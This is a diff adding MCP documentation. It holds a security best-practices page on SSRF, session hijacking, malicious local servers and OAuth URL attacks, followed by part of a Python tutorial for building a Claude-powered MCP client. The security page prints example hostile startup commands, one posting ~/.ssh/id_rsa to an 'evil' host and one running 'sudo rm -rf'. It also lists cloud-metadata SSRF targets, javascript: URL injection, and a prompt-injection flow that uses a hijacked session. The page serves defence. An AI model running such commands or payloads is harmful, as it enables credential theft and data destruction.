+ ensuring that the tokens are issued for the right service, they
+ bypass these controls.
+* **Accountability and Audit Trail Issues**
+ * The MCP Server will be unable to identify or distinguish between MCP
+ Clients when clients are calling with an upstream-issued access token
+ which may be opaque to the MCP Server.
+ * The downstream Resource Server's logs may show requests that appear
+ to come from a different source with a different identity, rather
+ than the MCP server that is actually forwarding the tokens.
+ * Both factors make incident investigation, controls, and auditing
+ more difficult.
+ * If the MCP Server passes tokens without validating their claims
+ (e.g., roles, privileges, or audience) or other metadata, a
+ malicious actor in possession of a stolen token can use the server
+ as a proxy for data exfiltration.
+* **Trust Boundary Issues**
+ * The downstream Resource Server grants trust to specific entities.
+ This trust might include assumptions about origin or client behavior
+ patterns. Breaking this trust boundary could lead to unexpected
+ issues.
+ * If the token is accepted by multiple services without proper
+ validation, an attacker compromising one service can use the token
+ to access other connected services.
+* **Future Compatibility Risk**
+ * Even if an MCP Server starts as a "pure proxy" today, it might need
+ to add security controls later. Starting with proper token audience
+ separation makes it easier to evolve the security model.
+
+#### Mitigation
+
+MCP servers **MUST NOT** accept any tokens that were not explicitly
+issued for the MCP server.
+
+### Server-Side Request Forgery (SSRF)
+
+Server-Side Request Forgery (SSRF) is an attack where an attacker can
+induce an MCP client to make HTTP requests to unintended destinations,
+potentially accessing internal network resources, cloud metadata
+endpoints, or other protected services.
+
+#### Attack Description
+
+During OAuth metadata discovery, MCP clients fetch URLs from several
+sources that could be controlled by a malicious MCP server:
+
+1. The `resource_metadata` URL from the `WWW-Authenticate` header
+2. The `authorization_servers` URLs from the Protected Resource Metadata
+ document
+3. The `token_endpoint`, `authorization_endpoint`, and other URLs from
+ Authorization Server Metadata
+
+A malicious MCP server can populate these fields with URLs pointing to
+internal resources, enabling the following attack patterns:
+
+* **Direct internal IP access**: URLs like `http://192.168.1.1/admin` or
+ `http://10.0.0.1/api` target internal network services
+* **Cloud metadata endpoints**: URLs targeting
+ `http://169.254.169.254/` (AWS/GCP/Azure metadata service) can
+ exfiltrate cloud credentials and instance information
+* **Localhost services**: URLs like `http://localhost:6379/` can interact
+ with local services (Redis, databases, admin panels)
+* **DNS rebinding**: Domains that change DNS resolution between
+ validation and use (e.g., `https://attacker.com` resolving to a safe
+ IP initially, then to `192.168.1.1`)
+* **Redirect chains**: Normal-looking URLs that redirect to internal
+ resources
+
+```mermaid theme={null}
+sequenceDiagram
+ participant Client as MCP Client
+ participant MCP as Malicious MCP Server
+ participant Internal as Internal Service
+
+ Client->>MCP: Connect to MCP server
+ MCP-->>Client: 401 + resource_metadata="http://169.254.169.254/..."
+
+ Note over Client: Client follows URL without validation
+ Client->>Internal: GET http://169.254.169.254/latest/meta-data/
+ Internal-->>Client: Cloud credentials/metadata
+
+ Note over Client: Error or response details leak to attacker
+ Client->>MCP: Subsequent request with error details
+```
+
+#### Risks
+
+* **Credential exfiltration**: Cloud metadata endpoints often expose
+ IAM credentials, API keys, and other secrets
+* **Internal network reconnaissance**: Error messages reveal information
+ about internal network topology and services
+* **Service interaction**: POST requests (e.g., to token endpoints) can
+ trigger mutations on internal services
+* **Firewall bypass**: The MCP client acts as a proxy, bypassing network
+ perimeter controls
+* **Data exfiltration**: Internal service responses may be reflected back
+ to attackers through error messages or OAuth flows
+
+#### Mitigation
+
+MCP clients deployed to a server **MUST** consider SSRF risks and
+implement appropriate mitigations when fetching OAuth-related URLs.
+Which protections are appropriate depend on your network environment.
+
+**Enforce HTTPS**
+
+MCP clients **SHOULD** require HTTPS for all OAuth-related URLs in
+production environments:
+
+* Reject `http://` URLs except for loopback addresses (`localhost`,
+ `127.0.0.1`, `::1`) during development
+* This aligns with
+ [OAuth 2.1 Section 1.5](https://datatracker.ietf.org/doc/html/draft-ietf-oauth-v2-1-13#section-1.5)
+ which requires HTTPS for all OAuth protocol URLs except loopback
+ redirect URIs
+* Provide an explicit opt-out mechanism for development/testing
+ scenarios
+
+**Block Private IP Ranges**
+
+MCP clients **SHOULD** block requests to private and reserved IP address
+ranges as recommended by
+[RFC 9728 Section 7.7](https://datatracker.ietf.org/doc/html/rfc9728#section-7.7):
+
+* Private IPv4 ranges: `10.0.0.0/8`, `172.16.0.0/12`,
+ `192.168.0.0/16`
+* Loopback: `127.0.0.0/8`, `::1` (except when explicitly allowed for
+ development)
+* Link-local: `169.254.0.0/16` (including cloud metadata endpoints)
+* Private IPv6 ranges: `fc00::/7`, `fe80::/10`
+
+
+ Avoid implementing IP validation manually. Attackers exploit encoding tricks
+ (octal, hex, IPv4-mapped IPv6) that custom parsers often miss.
+
+
+**Validate Redirect Targets**
+
+MCP clients **SHOULD** apply the same URL validation to redirect
+targets:
+
+* Do not blindly follow redirects to internal resources
+* Apply HTTPS and IP range restrictions to redirect destinations
+* Consider disabling automatic redirect following and validating each
+ hop
+
+**Use Egress Proxies**
+
+For server-side MCP client deployments, operators **SHOULD** consider
+using an egress proxy that enforces network policies:
+
+* Route OAuth discovery requests through a proxy that blocks internal
+ destinations
+* Use tools like
+ [Smokescreen](https://github.com/stripe/smokescreen) or similar
+ egress proxies that prevent SSRF by design
+* Configure network policies to restrict the MCP client's outbound
+ access
+
+**DNS Resolution Considerations**
+
+Be aware of Time-of-Check to Time-of-Use (TOCTOU) issues with
+DNS-based validation:
+
+* An attacker's domain may resolve to a safe IP during validation but
+ to an internal IP during the actual request
+* Consider pinning DNS resolution results between check and use
+* Defense in depth: combine DNS checks with other mitigations
+
+#### Resources and Tools
+
+The following resources can help developers implement SSRF protections
+in MCP clients.
+
+**Reference Documentation**
+
+* [OWASP SSRF Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html):
+ Comprehensive guidance on SSRF prevention techniques, including input
+ validation, allowlist strategies, and network-level controls
+* [OWASP Top 10 A10:2021 - SSRF](https://owasp.org/Top10/2021/A10_2021-Server-Side_Request_Forgery_%28SSRF%29/):
+ SSRF in the context of the most critical web application security
+ risks
+
+### Session Hijacking
+
+Session hijacking is an attack vector where a client is provided a
+session ID by the server, and an unauthorized party is able to obtain
+and use that same session ID to impersonate the original client and
+perform unauthorized actions on their behalf.
+
+#### Session Hijack Prompt Injection
+
+```mermaid theme={null}
+sequenceDiagram
+ participant Client
+ participant ServerA
+ participant Queue
+ participant ServerB
+ participant Attacker
+
+ Client->>ServerA: Initialize (connect to streamable HTTP server)
+ ServerA-->>Client: Respond with session ID
+
+ Attacker->>ServerB: Access/guess session ID
+ Note right of Attacker: Attacker knows/guesses session ID
+
+ Attacker->>ServerB: Trigger event (malicious payload, using session ID)
+ ServerB->>Queue: Enqueue event (keyed by session ID)
+
+ ServerA->>Queue: Poll for events (using session ID)
+ Queue-->>ServerA: Event data (malicious payload)
+
+ ServerA-->>Client: Async response (malicious payload)
+ Client->>Client: Acts based on malicious payload
+```
+
+#### Session Hijack Impersonation
+
+```mermaid theme={null}
+sequenceDiagram
+ participant Client
+ participant Server
+ participant Attacker
+
+ Client->>Server: Initialize (login/authenticate)
+ Server-->>Client: Respond with session ID (persistent session created)
+
+ Attacker->>Server: Access/guess session ID
+ Note right of Attacker: Attacker knows/guesses session ID
+
+ Attacker->>Server: Make API call (using session ID, no re-auth)
+ Server-->>Attacker: Respond as if Attacker is Client (session hijack)
+```
+
+#### Attack Description
+
+When you have multiple stateful HTTP servers that handle MCP requests,
+the following attack vectors are possible:
+
+**Session Hijack Prompt Injection**
+
+1. The client connects to **Server A** and receives a session ID.
+
+2. The attacker obtains an existing session ID and sends a malicious
+ event to **Server B** with said session ID.
+ * When a server supports
+ [redelivery/resumable streams](/specification/2025-06-18/basic/transports#resumability-and-redelivery),
+ deliberately terminating the request before receiving the response
+ could lead to it being resumed by the original client via the GET
+ request for server sent events.
+ * If a particular server initiates server sent events as a
+ consequence of a tool call such as a
+ `notifications/tools/list_changed`, where it is possible to affect
+ the tools that are offered by the server, a client could end up
+ with tools that they were not aware were enabled.
+
+3. **Server B** enqueues the event (associated with session ID) into a
+ shared queue.
+
+4. **Server A** polls the queue for events using the session ID and
+ retrieves the malicious payload.
+
+5. **Server A** sends the malicious payload to the client as an
+ asynchronous or resumed response.
+
+6. The client receives and acts on the malicious payload, leading to
+ potential compromise.
+
+**Session Hijack Impersonation**
+
+1. The MCP client authenticates with the MCP server, creating a
+ persistent session ID.
+2. The attacker obtains the session ID.
+3. The attacker makes calls to the MCP server using the session ID.
+4. MCP server does not check for additional authorization and treats the
+ attacker as a legitimate user, allowing unauthorized access or
+ actions.
+
+#### Mitigation
+
+To prevent session hijacking and event injection attacks, the following
+mitigations should be implemented:
+
+MCP servers that implement authorization **MUST** verify all inbound
+requests. MCP Servers **MUST NOT** use sessions for authentication.
+
+MCP servers **MUST** use secure, non-deterministic session IDs.
+Generated session IDs (e.g., UUIDs) **SHOULD** use secure random number
+generators. Avoid predictable or sequential session identifiers that
+could be guessed by an attacker. Rotating or expiring session IDs can
+also reduce the risk.
+
+MCP servers **SHOULD** bind session IDs to user-specific information.
+When storing or transmitting session-related data (e.g., in a queue),
+combine the session ID with information unique to the authorized user,
+such as their internal user ID. Use a key format like
+`:`. This ensures that even if an attacker guesses
+a session ID, they cannot impersonate another user as the user ID is
+derived from the user token and not provided by the client.
+
+MCP servers can optionally leverage additional unique identifiers.
+
+### Local MCP Server Compromise
+
+Local MCP servers are MCP Servers running on a user's local machine,
+either by the user downloading and executing a server, authoring a
+server themselves, or installing through a client's configuration flows.
+These servers may have direct access to the user's system and may be
+accessible to other processes running on the user's machine, making them
+attractive targets for attacks.
+
+#### Attack Description
+
+Local MCP servers are binaries that are downloaded and executed on the
+same machine as the MCP client. Without proper sandboxing and consent
+requirements in place, the following attacks become possible:
+
+1. An attacker includes a malicious "startup" command in a client
+ configuration
+2. An attacker distributes a malicious payload inside the server itself
+3. An attacker accesses an insecure local server that's left running on
+ localhost via DNS rebinding
+
+Example malicious startup commands that could be embedded:
+
+```bash theme={null}
+# Data exfiltration
+npx malicious-package && curl -X POST -d @~/.ssh/id_rsa https://example.com/evil-location
+
+# Privilege escalation
+sudo rm -rf /important/system/files && echo "MCP server installed!"
+```
+
+#### Risks
+
+Local MCP servers with inadequate restrictions or from untrusted sources
+introduce several critical security risks:
+
+* **Arbitrary code execution**. Attackers can execute any command with
+ MCP client privileges.
+* **No visibility**. Users have no insight into what commands are being
+ executed.
+* **Command obfuscation**. Malicious actors can use complex or
+ convoluted commands to appear legitimate.
+* **Data exfiltration**. Attackers can access legitimate local MCP
+ servers via compromised JavaScript.
+* **Data loss**. Attackers or bugs in legitimate servers could lead to
+ irrecoverable data loss on the host machine.
+
+#### Mitigation
+
+If an MCP client supports one-click local MCP server configuration, it
+**MUST** implement proper consent mechanisms prior to executing commands.
+
+**Pre-Configuration Consent**
+
+Display a clear consent dialog before connecting a new local MCP server
+via one-click configuration. The MCP client **MUST**:
+
+* Show the exact command that will be executed, without truncation
+ (include arguments and parameters)
+* Clearly identify it as a potentially dangerous operation that executes
+ code on the user's system
+* Require explicit user approval before proceeding
+* Allow users to cancel the configuration
+
+The MCP client **SHOULD** implement additional checks and guardrails to
+mitigate potential code execution attack vectors:
+
+* Highlight potentially dangerous command patterns (e.g., commands
+ containing `sudo`, `rm -rf`, network operations, file system access
+ outside expected directories)
+* Display warnings for commands that access sensitive locations (home
+ directory, SSH keys, system directories)
+* Warn that MCP servers run with the same privileges as the client
+* Execute MCP server commands in a sandboxed environment with minimal
+ default privileges
+* Launch MCP servers with restricted access to the file system, network,
+ and other system resources
+* Provide mechanisms for users to explicitly grant additional privileges
+ (e.g., specific directory access, network access) when needed
+* Use platform-appropriate sandboxing technologies (containers, chroot,
+ application sandboxes, etc.)
+* Keep sandboxing solutions up-to-date to account for emerging
+ vulnerabilities
+
+MCP servers intending for their servers to be run locally **SHOULD**
+implement measures to prevent unauthorized usage from malicious
+processes:
+
+* Use the `stdio` transport to limit access to just the MCP client
+* Restrict access if using an HTTP transport, such as:
+ * Require an authorization token
+ * Use unix domain sockets or other Interprocess Communication (IPC)
+ mechanisms with restricted access
+
+### OAuth Authorization URL Validation
+
+OAuth authorization URLs provided by malicious MCP servers can exploit client-side URL handling vulnerabilities, leading to Cross-Site Scripting (XSS) attacks and Remote Code Execution (RCE).
+
+#### Attack Description
+
+During the OAuth authorization flow, MCP servers provide authorization URLs that clients open in browsers or handle programmatically. Malicious servers can exploit insufficient URL validation in MCP clients through the following attack vectors:
+
+**JavaScript URL Injection (XSS)**
+
+1. A malicious MCP server provides a `javascript:` URL as the authorization endpoint
+2. The MCP client passes this URL directly to `window.open()` or similar browser APIs
+3. The browser executes the JavaScript code embedded in the URL
+4. The attacker gains JavaScript execution context within the client application, potentially leading to session hijacking, credential theft, or further exploitation
+
+**Command Injection via Shell Execution**
+
+1. A malicious MCP server provides a URL containing shell command injection payloads
+2. The MCP client uses shell commands (e.g., `cmd.exe`, PowerShell, or shell scripts) to open the URL
+3. The shell interprets parts of the URL as additional commands to execute
+4. The attacker achieves arbitrary code execution on the user's system
+
+**stdio Transport Privilege Escalation**
+
+When XSS vulnerabilities are combined with `stdio` transport capabilities,
+attackers can escalate web-based attacks to full system compromise. See
+[stdio Transport Security in Proxy Scenarios](#stdio-transport-security-in-proxy-scenarios)
+for detailed attack vectors and mitigations.
+
+```mermaid theme={null}
+sequenceDiagram
+ participant MaliciousMCP as Malicious MCP Server
+ participant Client as MCP Client
+ participant Proxy as MCP Proxy
+ participant System as Host System
+
+ MaliciousMCP->>Client: Malicious authorization URL (javascript:)
+ Client->>Client: Execute JavaScript (XSS)
+ Client->>Client: Extract proxy auth token
+ Client->>Proxy: Malicious stdio command request
+ Note over Client,Proxy: Using stolen authentication token
+ Proxy->>System: Execute arbitrary command
+ System-->>Proxy: Command output
+ Proxy-->>Client: Command result
+ Client-->>MaliciousMCP: Exfiltrate data/establish persistence
+```
+
+#### Risks
+
+OAuth authorization URL vulnerabilities introduce several critical security risks:
+
+* **Cross-Site Scripting (XSS)**. Malicious JavaScript execution can lead to session hijacking, credential theft, and unauthorized actions within the client application.
+* **Remote Code Execution (RCE)**. Command injection through shell execution allows attackers to run arbitrary code with user privileges.
+* **Privilege Escalation**. XSS combined with `stdio` transport can escalate web-based attacks to full system compromise.
+* **Data Exfiltration**. Attackers can access sensitive data, configuration files, and credentials stored on the user's system.
+* **Persistence**. Attackers can install malware, create backdoors, or modify system configurations for persistent access.
+
+#### Mitigation
+
+**URL Scheme Validation**
+
+MCP clients **MUST** validate authorization URLs and reject dangerous schemes:
+
+* **MUST** only allow `http://` and `https://` schemes for authorization URLs.
+ The `http://` scheme is acceptable only for loopback addresses (such as
+ `localhost`, `127.0.0.1`, or `::1`) during local development; authorization
+ servers in production **MUST** use `https://`.
+* **MUST** reject `javascript:`, `data:`, `file:`, `vbscript:`, and other potentially dangerous schemes
+* **SHOULD** use allowlist-based validation rather than blocklist-based approaches
+
+**Secure URL Opening**
+
+MCP clients **MUST** avoid shell execution when opening URLs:
+
+* **MUST NOT** use shell commands (e.g., `cmd.exe`, `sh`, PowerShell) to open URLs
+* **SHOULD** use platform-specific, non-shell URL opening mechanisms
+
+**Content Security Policy (CSP)**
+
+Web-based MCP clients **SHOULD** implement Content Security Policy headers to prevent JavaScript execution:
+
+* Set `script-src 'self'` to prevent execution of inline JavaScript
+* Use `default-src 'self'` to restrict resource loading
+* Consider `script-src 'nonce-'` for dynamic content that requires inline scripts
+
+**Input Sanitization**
+
+MCP clients **MUST** sanitize and validate all URLs received from MCP servers:
+
+* Implement strict URL parsing and validation
+* Reject URLs with special characters that could be interpreted by shells
+* Consider using dedicated URL sanitization libraries
+* Log suspicious authorization URLs for security monitoring
+
+### stdio Transport Security in Proxy Scenarios
+
+The `stdio` transport itself is not inherently vulnerable. However, in proxy architectures where a separate proxy service manages `stdio` connections and can spawn MCP servers as child processes, it can provide a critical escalation path from web-based attacks to full system compromise.
+
+#### Attack Description
+
+**Important**: This attack vector only applies to MCP implementations that use a proxy architecture, not to direct `stdio` transport usage.
+
+In proxy-based MCP implementations, a local proxy service sits between the client and MCP servers, spawning servers as child processes via the `stdio` transport. This architecture creates a privileged escalation path when combined with client-side vulnerabilities:
+
+1. Attacker achieves XSS or other client-side code execution (e.g., through OAuth URL vulnerabilities)
+2. Using the attack vector above, the malicious actor accesses the MCP proxy authentication token established between the client and the proxy from the client's environment
+3. Malicious actor makes authenticated requests to the local MCP proxy service
+4. Proxy spawns arbitrary commands via the `stdio` transport (believing they are legitimate MCP server commands)
+5. Attacker achieves Remote Code Execution with user privileges
+
+#### Risks
+
+* **Privilege Escalation**. Web-based vulnerabilities (XSS) can escalate to arbitrary code execution on the host system through proxy command execution
+* **Authentication Bypass**. Stolen proxy authentication tokens allow unauthorized access to stdio process spawning capabilities
+* **System Compromise**. Attackers can execute any command that the MCP proxy process has privileges to run
+
+#### Mitigation
+
+The primary defense is to prevent classes of vulnerabilities that enable this attack vector:
+
+* Implement the mitigations described in [OAuth Authorization URL Validation](#oauth-authorization-url-validation)
+* Use Content Security Policy (CSP) to prevent JavaScript execution from untrusted sources
+* Validate and sanitize all input from MCP servers before processing
+
+Since XSS fundamentally compromises the client's security context, focus on limiting the damage:
+
+**stdio Transport Restrictions**
+
+MCP proxy services **SHOULD** implement additional security controls for `stdio` transport:
+
+* Implement sandboxing or containerization for spawned processes
+* Restrict file system access for spawned MCP servers
+* Log all `stdio` transport usage for security monitoring
+* Require additional authorization for potentially dangerous commands
+
+**Client-Side Protections**
+
+MCP clients **SHOULD** implement defense-in-depth measures:
+
+* Isolate proxy communication in a separate security context when possible
+* Use principle of least privilege for proxy process permissions
+* Implement process-level sandboxing for the proxy service itself
+* Consider running the proxy in a container or restricted environment
+
+### Scope Minimization
+
+Poor scope design increases token compromise impact, elevates user
+friction, and obscures audit trails.
+
+#### Attack Description
+
+An attacker obtains (via log leakage, memory scraping, or local
+interception) an access token carrying broad scopes (`files:*`, `db:*`,
+`admin:*`) that were granted up front because the MCP server exposed
+every scope in `scopes_supported` and the client requested them all.
+The token enables lateral data access, privilege chaining, and difficult
+revocation without re-consenting the entire surface.
+
+#### Risks
+
+* Expanded blast radius: stolen broad token enables unrelated
+ tool/resource access
+* Higher friction on revocation: revoking a max-privilege token disrupts
+ all workflows
+* Audit noise: single omnibus scope masks user intent per operation
+* Privilege chaining: attacker can immediately invoke high-risk tools
+ without further elevation prompts
+* Consent abandonment: users decline dialogs listing excessive scopes
+* Scope inflation blindness: lack of metrics makes over-broad requests
+ normalised
+
+#### Mitigation
+
+Implement a progressive, least-privilege scope model:
+
+* Minimal initial scope set (e.g., `mcp:tools-basic`) containing only
+ low-risk discovery/read operations
+* Incremental elevation via targeted `WWW-Authenticate` `scope="..."`
+ challenges when privileged operations are first attempted
+* Down-scoping tolerance: server should accept reduced scope tokens;
+ auth server MAY issue a subset of requested scopes
+
+Server guidance:
+
+* Emit precise scope challenges; avoid returning the full catalog
+* Log elevation events (scope requested, granted subset) with
+ correlation IDs
+
+Client guidance:
+
+* Begin with only baseline scopes (or those specified by initial
+ `WWW-Authenticate`)
+* Cache recent failures to avoid repeated elevation loops for denied
+ scopes
+
+#### Common Mistakes
+
+* Publishing all possible scopes in `scopes_supported`
+* Using wildcard or omnibus scopes (`*`, `all`, `full-access`)
+* Bundling unrelated privileges to preempt future prompts
+* Returning entire scope catalog in every challenge
+* Silent scope semantic changes without versioning
+* Treating claimed scopes in token as sufficient without server-side
+ authorization logic
+
+Proper minimization constrains compromise impact, improves audit
+clarity, and reduces consent churn.
diff --git a/content/mcp/docs/2025-11-25/develop/build-client.md b/content/mcp/docs/2025-11-25/develop/build-client.md
new file mode 100644
index 000000000..45a0cc62a
--- /dev/null
+++ b/content/mcp/docs/2025-11-25/develop/build-client.md
@@ -0,0 +1,2522 @@
+> ## Documentation Index
+> Fetch the complete documentation index at: https://modelcontextprotocol.io/llms.txt
+> Use this file to discover all available pages before exploring further.
+
+# Build an MCP client
+
+> Get started building your own client that can integrate with all MCP servers.
+
+In this tutorial, you'll learn how to build an LLM-powered chatbot client that connects to MCP servers.
+
+Before you begin, it helps to have gone through our [Build an MCP Server](/docs/2025-11-25/develop/build-server) tutorial so you can understand how clients and servers communicate.
+
+
+
+ [You can find the complete code for this tutorial here.](https://github.com/modelcontextprotocol/quickstart-resources/tree/main/mcp-client-python)
+
+ ## System Requirements
+
+ Before starting, ensure your system meets these requirements:
+
+ * Mac or Windows computer
+ * Latest Python version installed
+ * Latest version of `uv` installed
+
+ ## Setting Up Your Environment
+
+ First, create a new Python project with `uv`:
+
+
+ ```bash macOS/Linux theme={null}
+ # Create project directory
+ uv init mcp-client
+ cd mcp-client
+
+ # Create virtual environment
+ uv venv
+
+ # Activate virtual environment
+ source .venv/bin/activate
+
+ # Install required packages
+ uv add mcp anthropic python-dotenv
+
+ # Remove boilerplate files
+ rm main.py
+
+ # Create our main file
+ touch client.py
+ ```
+
+ ```powershell Windows theme={null}
+ # Create project directory
+ uv init mcp-client
+ cd mcp-client
+
+ # Create virtual environment
+ uv venv
+
+ # Activate virtual environment
+ .venv\Scripts\activate
+
+ # Install required packages
+ uv add mcp anthropic python-dotenv
+
+ # Remove boilerplate files
+ del main.py
+
+ # Create our main file
+ new-item client.py
+ ```
+
+
+ ## Setting Up Your API Key
+
+ You'll need an Anthropic API key from the [Anthropic Console](https://console.anthropic.com/settings/keys).
+
+ Create a `.env` file to store it:
+
+ ```bash theme={null}
+ echo "ANTHROPIC_API_KEY=your-api-key-goes-here" > .env
+ ```
+
+ Add `.env` to your `.gitignore`:
+
+ ```bash theme={null}
+ echo ".env" >> .gitignore
+ ```
+
+
+ Make sure you keep your `ANTHROPIC_API_KEY` secure!
+
+
+ ## Creating the Client
+
+ ### Basic Client Structure
+
+ First, let's set up our imports and create the basic client class:
+
+ ```python theme={null}
+ import asyncio
+ from typing import Optional
+ from contextlib import AsyncExitStack
+
+ from mcp import ClientSession, StdioServerParameters
+ from mcp.client.stdio import stdio_client
+
+ from anthropic import Anthropic
+ from dotenv import load_dotenv
+
+ load_dotenv() # load environment variables from .env
+
+ class MCPClient:
+ def __init__(self):
+ # Initialize session and client objects
+ self.session: Optional[ClientSession] = None
+ self.exit_stack = AsyncExitStack()
+ self.anthropic = Anthropic()
+ # methods will go here
+ ```
+
+ ### Server Connection Management
+
+ Next, we'll implement the method to connect to an MCP server:
+
+ ```python theme={null}
+ async def connect_to_server(self, server_script_path: str):
+ """Connect to an MCP server
+
+ Args:
+ server_script_path: Path to the server script (.py or .js)
+ """
+ is_python = server_script_path.endswith('.py')
+ is_js = server_script_path.endswith('.js')
+ if not (is_python or is_js):
+ raise ValueError("Server script must be a .py or .js file")
+
+ command = "python" if is_python else "node"
+ server_params = StdioServerParameters(
+ command=command,
+ args=[server_script_path],
+ env=None
+ )
+
+ stdio_transport = await self.exit_stack.enter_async_context(stdio_client(server_params))
+ self.stdio, self.write = stdio_transport
+ self.session = await self.exit_stack.enter_async_context(ClientSession(self.stdio, self.write))
+
+ await self.session.initialize()
+
+ # List available tools
+ response = await self.session.list_tools()
+ tools = response.tools
+ print("\nConnected to server with tools:", [tool.name for tool in tools])
+ ```
+
+ ### Query Processing Logic
+
+ Now let's add the core functionality for processing queries and handling tool calls:
+
+ ```python theme={null}
+ async def process_query(self, query: str) -> str:
+ """Process a query using Claude and available tools"""
+ messages = [
+ {
+ "role": "user",
+ "content": query
+ }
+ ]
+
+ response = await self.session.list_tools()
+ available_tools = [{
+ "name": tool.name,
+ "description": tool.description,
+ "input_schema": tool.inputSchema
+ } for tool in response.tools]
+
+ # Initial Claude API call
+ response = self.anthropic.messages.create(
+ model="claude-sonnet-4-20250514",
+ max_tokens=1000,
+ messages=messages,
+ tools=available_tools
+ )
+
+ # Process response and handle tool calls
+ final_text = []
+
+ assistant_message_content = []
+ for content in response.content:
+ if content.type == 'text':
+ final_text.append(content.text)
+ assistant_message_content.append(content)
+ elif content.type == 'tool_use':
+ tool_name = content.name
+ tool_args = content.input
+
+ # Execute tool call
+ result = await self.session.call_tool(tool_name, tool_args)
+ final_text.append(f"[Calling tool {tool_name} with args {tool_args}]")
+
+ assistant_message_content.append(content)
+ messages.append({
+ "role": "assistant",
+ "content": assistant_message_content
+ })
+ messages.append({
+ "role": "user",
+ "content": [
+ {
+ "type": "tool_result",
+ "tool_use_id": content.id,
+ "content": result.content
+ }
+ ]
+ })
+
+ # Get next response from Claude
+ response = self.anthropic.messages.create(
+ model="claude-sonnet-4-20250514",
+ max_tokens=1000,
+ messages=messages,
+ tools=available_tools
+ )
+
+ final_text.append(response.content[0].text)
+
+ return "\n".join(final_text)
+ ```
+
+ ### Interactive Chat Interface
+
+ Now we'll add the chat loop and cleanup functionality:
+
+ ```python theme={null}
+ async def chat_loop(self):
+ """Run an interactive chat loop"""
+ print("\nMCP Client Started!")
+ print("Type your queries or 'quit' to exit.")
+
+ while True:
+ try:
+ query = input("\nQuery: ").strip()
+
+ if query.lower() == 'quit':
+ break
+
+ response = await self.process_query(query)
+ print("\n" + response)
+
+ except Exception as e:
+ print(f"\nError: {str(e)}")
+
+ async def cleanup(self):
+ """Clean up resources"""
+ await self.exit_stack.aclose()
+ ```
+
+ ### Main Entry Point
+
+ Finally, we'll add the main execution logic:
+
+ ```python theme={null}
+ async def main():
+ if len(sys.argv) < 2:
+ print("Usage: python client.py ")
+ sys.exit(1)
+
+ client = MCPClient()
+ try:
+ await client.connect_to_server(sys.argv[1])
+ await client.chat_loop()
+ finally:
+ await client.cleanup()
+
+ if __name__ == "__main__":
+ import sys
+ asyncio.run(main())
+ ```
+
+ You can find the complete `client.py` file [here](https://github.com/modelcontextprotocol/quickstart-resources/blob/main/mcp-client-python/client.py).
+
+ ## Key Components Explained
+
+ ### 1. Client Initialization
+
+ * The `MCPClient` class initializes with session management and API clients
+ * Uses `AsyncExitStack` for proper resource management
+ * Configures the Anthropic client for Claude interactions
+
+ ### 2. Server Connection
+
+ * Supports both Python and Node.js servers
+ * Validates server script type
+ * Sets up proper communication channels
+ * Initializes the session and lists available tools
+
+ ### 3. Query Processing
+
+ * Maintains conversation context
+ * Handles Claude's responses and tool calls
+ * Manages the message flow between Claude and tools
+ * Combines results into a coherent response
+
+ ### 4. Interactive Interface
+
+ * Provides a simple command-line interface
+ * Handles user input and displays responses
+ * Includes basic error handling
+ * Allows graceful exit
+
+ ### 5. Resource Management
+
+ * Proper cleanup of resources
+ * Error handling for connection issues
+ * Graceful shutdown procedures
+
+ ## Common Customization Points
+
+ 1. **Tool Handling**
+ * Modify `process_query()` to handle specific tool types
+ * Add custom error handling for tool calls
+ * Implement tool-specific response formatting
+
+ 2. **Response Processing**
+ * Customize how tool results are formatted
+ * Add response filtering or transformation
+ * Implement custom logging
+
+ 3. **User Interface**
+ * Add a GUI or web interface
+ * Implement rich console output
+ * Add command history or auto-completion
+
+ ## Running the Client
+
+ To run your client with any MCP server:
+
+ ```bash theme={null}
+ uv run client.py path/to/server.py # python server
+ uv run client.py path/to/build/index.js # node server
+ ```
+
+
+ If you're continuing [the weather tutorial from the server quickstart](https://github.com/modelcontextprotocol/quickstart-resources/tree/main/weather-server-python), your command might look something like this: `python client.py .../quickstart-resources/weather-server-python/weather.py`
+
+
+ The client will:
+
+ 1. Connect to the specified server
+ 2. List available tools
+ 3. Start an interactive chat session where you can:
+ * Enter queries
+ * See tool executions
+ * Get responses from Claude
+
+ Here's an example of what it should look like if connected to the weather server from the server quickstart:
+
+
+
+
+
+ ## How It Works
+
+ When you submit a query:
+
+ 1. The client gets the list of available tools from the server
+ 2. Your query is sent to Claude along with tool descriptions
+ 3. Claude decides which tools (if any) to use
+ 4. The client executes any requested tool calls through the server
+ 5. Results are sent back to Claude
+ 6. Claude provides a natural language response
+ 7. The response is displayed to you
+
+ ## Best practices
+
+ 1. **Error Handling**
+ * Always wrap tool calls in try-catch blocks
+ * Provide meaningful error messages
+ * Gracefully handle connection issues
+
+ 2. **Resource Management**
+ * Use `AsyncExitStack` for proper cleanup
+ * Close connections when done
+ * Handle server disconnections
+
+ 3. **Security**
+ * Store API keys securely in `.env`
+ * Validate server responses
+ * Be cautious with tool permissions
+
+ 4. **Tool Names**
+ * Tool names can be validated according to the format specified [here](/specification/2025-11-25/server/tools#tool-names)
+ * If a tool name conforms to the specified format, it should not fail validation by an MCP client
+
+ ## Troubleshooting
+
+ ### Server Path Issues
+
+ * Double-check the path to your server script is correct
+ * Use the absolute path if the relative path isn't working
+ * For Windows users, make sure to use forward slashes (/) or escaped backslashes (\\) in the path
+ * Verify the server file has the correct extension (.py for Python or .js for Node.js)
+
+ Example of correct path usage:
+
+ ```bash theme={null}
+ # Relative path
+ uv run client.py ./server/weather.py
+
+ # Absolute path
+ uv run client.py /Users/username/projects/mcp-server/weather.py
+
+ # Windows path (either format works)
+ uv run client.py C:/projects/mcp-server/weather.py
+ uv run client.py C:\\projects\\mcp-server\\weather.py
+ ```
+
+ ### Response Timing
+
+ * The first response might take up to 30 seconds to return
+ * This is normal and happens while:
+ * The server initializes
+ * Claude processes the query
+ * Tools are being executed
+ * Subsequent responses are typically faster
+ * Don't interrupt the process during this initial waiting period
+
+ ### Common Error Messages
+
+ If you see:
+
+ * `FileNotFoundError`: Check your server path
+ * `Connection refused`: Ensure the server is running and the path is correct
+ * `Tool execution failed`: Verify the tool's required environment variables are set
+ * `Timeout error`: Consider increasing the timeout in your client configuration
+
+
+
+ [You can find the complete code for this tutorial here.](https://github.com/modelcontextprotocol/quickstart-resources/tree/main/mcp-client-typescript)
+
+ ## System Requirements
+
+ Before starting, ensure your system meets these requirements:
+
+ * Mac or Windows computer
+ * Node.js 17 or higher installed
+ * Latest version of `npm` installed
+ * Anthropic API key (Claude)
+
+ ## Setting Up Your Environment
+
